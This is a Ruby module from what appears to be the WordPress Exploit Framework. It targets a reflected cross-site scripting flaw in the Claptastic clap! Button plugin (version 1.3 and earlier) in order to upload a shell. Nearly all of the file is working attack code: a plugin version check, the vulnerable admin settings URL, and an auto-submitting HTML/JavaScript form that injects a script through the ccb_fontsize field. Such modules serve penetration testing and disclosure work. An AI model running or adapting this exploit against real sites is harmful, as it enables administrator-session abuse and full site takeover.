# frozen_string_literal: true

class Wpxf::Exploit::ClaptasticClapButtonReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Claptastic clap! Button <= 1.3 Reflected XSS Shell Upload',
      author: [
        'Sachin Wagh', # Disclosure
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8427'],
        ['URL', 'https://packetstormsecurity.com/files/136443/']
      ],
      date: 'Mar 28 2016'
    )
  end

  def check
    check_plugin_version_from_readme('claptastic-clap-button', '1.4')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=claptastic-clap-button.php', {
        ccb_fontsize: '"><script>#{xss_ascii_encoded_include_script}<\\/script>',
        ccb_position: 'bottomright',
        ccb_margin: '',
        ccb_paddingrightleft: '',
        ccb_design: '',
        ccb_onfrontpage: 'no',
        update_ClaptasticClapButtonPluginSettings: 'Update Settings'
      });
    </script></body></html>
    |
  end
end
